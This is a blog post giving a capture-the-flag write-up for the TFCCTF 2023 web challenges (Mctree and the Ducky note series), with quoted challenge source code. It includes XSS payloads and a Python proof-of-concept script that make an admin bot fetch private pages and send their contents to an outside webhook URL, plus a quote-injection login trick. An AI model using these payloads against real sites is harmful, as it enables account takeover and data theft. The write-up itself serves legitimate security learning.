TFCCTF 2023 web writeup

2023. 7. 31. 20:01·🚩 CTF/2023

[ Mctree ]

admin account already exists. I guessed that I could get flag if I log in with admin account.

 

If register id with admin" , you can see you are register in admin account.

Then, login with account that you reigstered. Here is my payload.

ID : admin"
PW : a

● Flag

TFCCTF{I_l1k3_dr4g0n_tr33s__Yuh!_1ts_my_f4v0r1t3_tr33_f0r_sur3!}

 

[ Ducky note ]

It's a web application which has admin bot. Check out the point of this chall.

 

(I will pass login & register function. It's not important)

def db_init():
    con = sqlite3.connect('database/data.db')
    # Create users database
    query(con, '''
    CREATE TABLE IF NOT EXISTS users (
        id integer PRIMARY KEY,
        username text NOT NULL,
        password text NOT NULL
    );
    ''')
            
    query(con, f'''
    INSERT INTO users (
        username,
        password
        ) VALUES (
            'admin',
            '{os.environ.get("ADMIN_PASSWD")}'
        
    );
    ''')
    
    # Create posts database
 
    query(con, ''' 
    CREATE TABLE IF NOT EXISTS posts (
        id integer PRIMARY KEY,
        user_id integer NOT NULL,
        title text,
        content text NOT NULL,
        hidden boolean NOT NULL,
        FOREIGN KEY (user_id) REFERENCES users (id)
    );
    ''')


    query(con, f''' 
    INSERT INTO posts (
        user_id,
        title,
        content,
        hidden
        ) VALUES (
            1,
            'Here is a ducky flag!',
            '{os.environ.get("FLAG")}',
            1
        
    );
    ''')

    con.commit()

Flag post is made when service started, and it's content id is 1.

 

def auth_required(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        username = session.get('username')

        if not username:
            return abort(401, 'Not logged in!')
 
        return f(username, *args, **kwargs)

    return decorator

		...

@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    if username != 'admin':
        return jsonify('You must be admin to see all posts!'), 401

    frontend_posts = []
    posts = db_get_all_users_posts()

    for post in posts:
        try:
            frontend_posts += [{'username': post['username'], 
                                'title': post['title'], 
                                'content': post['content']}]
        except:
            raise Exception(post)

    return render_template('posts.html', posts=frontend_posts)


@web.route('/posts/view/<user>', methods=['GET'])
@auth_required
def posts_view(username, user):
    try:
        posts = db_get_user_posts(user, username == user)
    except:
        raise Exception(username)

    return render_template('posts.html', posts=posts)


@web.route('/posts/create', methods=['GET'])
@auth_required
def posts_create(username):
    return render_template('create.html', username=username)

Every function that needs user session bring it's auth from "auth_required" function. If you want to see all posts, you have to login in admin session. But there is another way to check out admin's post.

 

query(con, f''' 
INSERT INTO posts (
    user_id,
    title,
    content,
    hidden
    ) VALUES (
        1,
        'Here is a ducky flag!',
        '{os.environ.get("FLAG")}',
        0

);

In init code, flag post wasn't set as hidden post. So just enter to "/posts/view/admin" endpoint.

 

● Flag

TFCCTF{Adm1n_l0St_h1s_m1nd!} 

 

[ Ducky note: revenge ]

# database/database.py
query(con, f''' 
    INSERT INTO posts (
        user_id,
        title,
        content,
        hidden
        ) VALUES (
            1,
            'Here is a ducky flag!',
            '{os.environ.get("FLAG")}',
            1
        
    );

The next step of ducky challenge. Now it hid flag post. Let's find out another way.

 

# bot.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
import time, os

def bot(username):
    options = Options()
    options.add_argument('--no-sandbox')
    options.add_argument('headless')
    options.add_argument('ignore-certificate-errors')
    options.add_argument('disable-dev-shm-usage')
    options.add_argument('disable-infobars')
    options.add_argument('disable-background-networking')
    options.add_argument('disable-default-apps')
    options.add_argument('disable-extensions')
    options.add_argument('disable-gpu')
    options.add_argument('disable-sync')
    options.add_argument('disable-translate')
    options.add_argument('hide-scrollbars')
    options.add_argument('metrics-recording-only')
    options.add_argument('no-first-run')
    options.add_argument('safebrowsing-disable-auto-update')
    options.add_argument('media-cache-size=1')
    options.add_argument('disk-cache-size=1')
    

    client = webdriver.Chrome(options=options)

    client.get(f"http://localhost:1337/login")
    time.sleep(3)

    client.find_element(By.ID, "username").send_keys('admin')
    client.find_element(By.ID, "password").send_keys(os.environ.get("ADMIN_PASSWD"))
    client.execute_script("document.getElementById('login-btn').click()")
    time.sleep(3)

    client.get(f"http://localhost:1337/posts/view/{username}")
    time.sleep(30)

    client.quit()

When we make a post and report it, then admin is going to check it. I tried to send basic xss payload to check whether xss could be triggered or not.

 

 

It worked. We can make admin enter into "/posts/view/admin" and send result text to our webhook site by using XSS attack.

<script>
	fetch('http://localhost:1337/posts/view/admin')
	.then((res)=>res.text()
	.then((resp)=>{
		fetch('https://webhook.site/b7a2293f-23a4-4008-8bca-117d4a8a5099?res='
				+encodeURIComponent(resp));
		})
	);
</script>

● Flag

TFCCTF{Ev3ry_duCk_kn0w5_xSs!}

 

더보기

A simple but important point.

1. HttpOnly only prevents to hijack user's session, not prevent whole xss attack.

2. When organizing payload with "location.href", it can't use with ".then()" function. When you want to use request function, let's just use "fetch" API.

 

I solved these challs in time, and problems after this are the ones I couldn't solve.


 

[ Dukcy note 3 (Part 3)]

The next sequel of ducky challenge. This challenge requires fresh idea!

 

I sent same payload of ducky note2 to admin bot, but it didn't work. The service sanitizes post's content to prevent XSS.

Even though we look around, it seems no other exploit vector except for triggering XSS.

 

# routes.py
@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    if username != 'admin':
        return jsonify('You must be admin to see all posts!'), 401

    frontend_posts = []
    posts = db_get_all_users_posts()

    for post in posts:
        try:
            frontend_posts += [{'username': post['username'], 
                                'title': post['title'], 
                                'content': post['content']}]
        except:
            raise Exception(post)

    return render_template('posts.html', posts=frontend_posts)
# app.py
@app.errorhandler(Exception)
def handle_error(e):
    if not e.args or "username" not in e.args[0].keys():
        return e, 500
    
    error_date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    post = e.args[0]
    log_message = f'"{error_date}" {post["username"]} {post["content"]}'

    with open(f"{app.config['LOG_DIR']}{error_date}.txt", 'w') as f:
        f.write(log_message)

    return log_message, 500

First point of this chall is in above code. If we intentionally raise error, we can see post's username and content which is not sanitized. Using this part, we can trigger XSS.

 

But how can we raise error in this service? We use absence of post's title.

 

// /js/create.js
async function create() {

	let message = $("#alert-msg");
	message.hide();

	let title = $("#title").val();
	let content = $("#content").val();
	let hidden = $("#hidden").attr("checked");

	hidden = ((hidden == 1) ? true : false);


	if ($.trim(title) === '' || $.trim(content) === '') {
		message.text("Missing title or content!");
		message.show();
		return;
	}

	const data = {title: title, content: content, hidden: hidden};

	await fetch(`/api/posts`, {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
			},
			body: JSON.stringify(data),
		})
		.then((response) => response.json()
			.then((resp) => {
				message.text(resp);
				message.show();
			}))
		.catch((error) => {
			message.text(error);
			message.show();
		});
}

In creating post page, we need to enter  2 factors(title&content) at least. But this is front javascript code, so we can bypass this with "fetch" API. 

fetch('http://challs.tfcctf.com:30314/api/posts', {
        method: "POST", 
        headers: {'Content-Type': 'application/json'}, 
        body: JSON.stringify({'content':'
        <script>
          fetch("http://localhost:1337/posts/view/admin").then((response) =>
            response.text().then((resp) => {
              fetch(
                "[Your Webhook site]?" +
                  encodeURIComponent(resp)
              );
            })
          );
        </script>', 'hidden':false })
    }
)

 

Okay, we make XSS post without title. What's next?

 

# routes.py
@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    if username != 'admin':
        return jsonify('You must be admin to see all posts!'), 401

    frontend_posts = []
    posts = db_get_all_users_posts()

    for post in posts:
        try:
            frontend_posts += [{'username': post['username'], 
                                'title': post['title'], 
                                'content': post['content']}]
        except:
            raise Exception(post)

    return render_template('posts.html', posts=frontend_posts)

If we let admin enter to "/posts/" endpoint, Exceptoin will be raised because of post we made which doesn't have title.

 

So, we have to lead admin to "/posts/" endpoint. To do this, we should make a new account named ".."

# bot.py
client.get(f"http://localhost:1337/posts/view/{username}")

After making user named "..", just do report. When report function is executed, admin will enter to "/posts/" endpoint, because our new account's username is "..". 

 

When reporting, the following steps happen in this way.

1. Admin enter "/posts/" endpoint
2. Every post are loaded, but there is a post without title
3. Exception raises and service show "log_message" which doesn't sanitize username and content
4. As a result, admin check log_message and finally xss is triggered.
   (we can get flag. Check your webhook site!)

● Summary

 

1. register with any username. e.g) as
2. create post with fetch API (Don't define title, only enter content with below payload)
3. report to admin with fetch API
4. make a new account named ".."
5. report to admin with fetch API
6. check your webhook site. There is a flag!

● PoC

 

import requests

url = 'http://challs.tfcctf.com:31906/'
webhook = 'https://webhook.site/fde008eb-188d-427d-8e2a-7d05180760f9'
USERNAME = 'as'
PASSWORD = "as"

# Register
s = requests.session()
r = s.post(url + 'api/register', json={'username': USERNAME, 'password': PASSWORD})

# Login
r = s.post(url + 'api/login', json={'username': USERNAME, 'password': PASSWORD})

# Create post
## Empty title to trigger exception for admin at /posts
PAYLOAD = """
<script>
  fetch("http://localhost:1337/posts/view/admin").then((response) =>
    response.text().then((resp) => {
      fetch(
        "{%s}?" +
          encodeURIComponent(resp)
      );
    })
  );
</script>
""" % webhook
r = s.post(url + 'api/posts', json={'content': PAYLOAD, 'hidden': False})

# Create User with path traversal
new_user_name = ".."
r = s.post(url + 'api/register', json={'username': new_user_name, 'password': PASSWORD})

# Login as path traversal user
r = s.post(url + 'api/login', json={'username': new_user_name, 'password': PASSWORD})

# Report user
r = s.post(url + 'api/report')

print("All Done! Check your webhook site")

 

● Flag

TFCCTF{Ev3ry_c00L_duCk_kn0w5_adVanc3d_xSs!}

저작자표시 비영리 변경금지 (새창열림)
'🚩 CTF/2023' 카테고리의 다른 글
  • WaconCTF 2023
  • [ zer0pts ] ringtone
  • [ zer0pts 2023 ] Warmuprofile
  • [ zer0pts 2023 ] Neko note
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Text Summarization
    bug hunter
    Ubuntu 기초 셋팅
    cache poisoning
    Deep learning
    TsukuCTF2022
    Machine Learning
    Ubuntu 기초
    cache
    TFCCTF2022
    RCE
    Remote Code Execution
    sqli
    python
    pwntools
    justCTF
    ubuntu 명령어
    Crypto
    bug report
    GPNCTF
  • 최근 댓글

  • 최근 글

Cronus
TFCCTF 2023 web writeup
상단으로

티스토리툴바